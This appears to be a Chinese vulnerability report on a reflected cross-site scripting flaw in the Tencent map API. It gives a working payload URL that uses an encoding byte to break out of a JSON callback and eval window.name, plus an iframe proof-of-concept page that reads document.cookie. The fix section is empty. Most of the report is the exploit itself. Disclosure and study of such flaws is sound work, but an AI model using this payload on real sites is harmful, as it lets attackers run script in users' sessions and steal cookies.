firefox、chrome测试效果:

https://qz6666.com/4.html
 

 

可以改编码和输出格式，主要是前后闭合，window.name省很多事。

https://api.map.qq.com/?qt=poi&c=825&l=11&wd=1111%d5%22}}});var%20e=eval;e(window.name);({none:{none:{//&pn=0&rn=10&output=html&fr=mapapi&cb=document.write&state=1
 

 

4.html

<iframe name="alert(document.cookie)" src="https://api.map.qq.com/?qt=poi&c=825&l=11&wd=1111%d5%22}}});var%20e=eval;e(window.name);({none:{none:{//&pn=0&rn=10&output=html&fr=mapapi&cb=document.write&state=1">

 

漏洞证明：

firefox、chrome测试效果:

https://qz6666.com/4.html

 

 

 

修复方案：

 

</iframe>